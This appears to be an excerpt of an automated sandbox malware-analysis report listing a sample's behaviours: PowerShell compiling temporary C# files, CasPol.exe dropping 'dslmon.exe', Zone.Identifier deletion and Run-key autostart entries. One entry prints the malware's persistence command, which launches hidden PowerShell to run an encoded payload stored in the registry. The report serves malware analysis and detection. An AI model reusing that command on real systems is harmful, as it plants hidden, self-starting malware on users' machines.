Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kxeayl3s.cmdline
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3rumnuxb.cmdline
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kar5iszo.cmdline
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kxeayl3s.cmdline	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3rumnuxb.cmdline
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kar5iszo.cmdline

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\kxeayl3s.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File created: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\3rumnuxb.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\kar5iszo.dll	Jump to dropped file

Boot Survival

Creates an autostart registry key pointing to binary in C:\Windows

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Avel

Jump to behavior

Creates multiple autostart registry keys

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Avel			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run DSL Monitor			Jump to behavior

Creates autostart registry keys with suspicious values (likely registry only malware)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Avel cmd /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Avel	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Avel	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run DSL Monitor	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run DSL Monitor	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
